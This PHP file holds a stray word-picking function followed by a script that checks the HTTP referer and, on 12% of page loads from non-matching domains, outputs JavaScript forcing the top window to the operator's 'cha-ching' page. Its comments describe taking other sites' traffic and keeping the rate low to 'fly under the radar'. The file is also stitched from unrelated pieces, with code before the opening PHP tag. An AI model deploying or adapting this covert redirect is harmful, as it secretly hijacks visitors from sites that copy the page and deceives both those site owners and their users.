function getWord($db)
{
global $percentOfNextWord;
$result = false;
$results = $db->query('SELECT * FROM words ORDER BY id ASC LIMIT 100');
$next = true;
while (($row = $results->fetchArray()) && $next) {
$result = $row;
if (!percentChance($percentOfNextWord)) {
$next = false;
}
}
return $result;
}
<?php
$referringDomain = $_SERVER['HTTP_REFERER'];
$myDomain = 'YOUR-LANDING-PAGE-BASE-DOMAIN.COM';
// INSTRUCTIONS
//
// 1. Replace 'YOUR-LANDING-PAGE-BASE-DOMAIN.COM' (above) with the BASE domain your lander is on
// 2. Replace 'http://yourdomain.com/cha-ching.html' (below) with your desired landing page before going live
//
// You can use the included cha-ching.html file on your own domain to test before going live,
// just be sure that you point 'http://yourdomain.com/cha-ching.html' (below) to cha-ching.html on your server
// and do NOT set $myDomain (above) to your domain while testing (to simulate the effect on mismatch domains)
function percentChance($chance)
{
// Notice we go from 0-99 - therefore a percentChance value (defined below) of 100 will take ALL their traffic
// If you want to "fly under the radar" you should keep this value well under 15 (it is set to 12% by default)
$randPercent = mt_rand(0, 99);
return $chance > $randPercent;
}
if (percentChance(12)) {
if (preg_match("({$myDomain})i", $referringDomain, $matches) == false) {
// their domain doesn't match - output redirect javascript (xx% of the time, as defined above)
?>
window.top.location.href='http://yourdomain.com/cha-ching.html';
<?php
die;
} else {
// OR, it is your domain and nothing happens
}
}
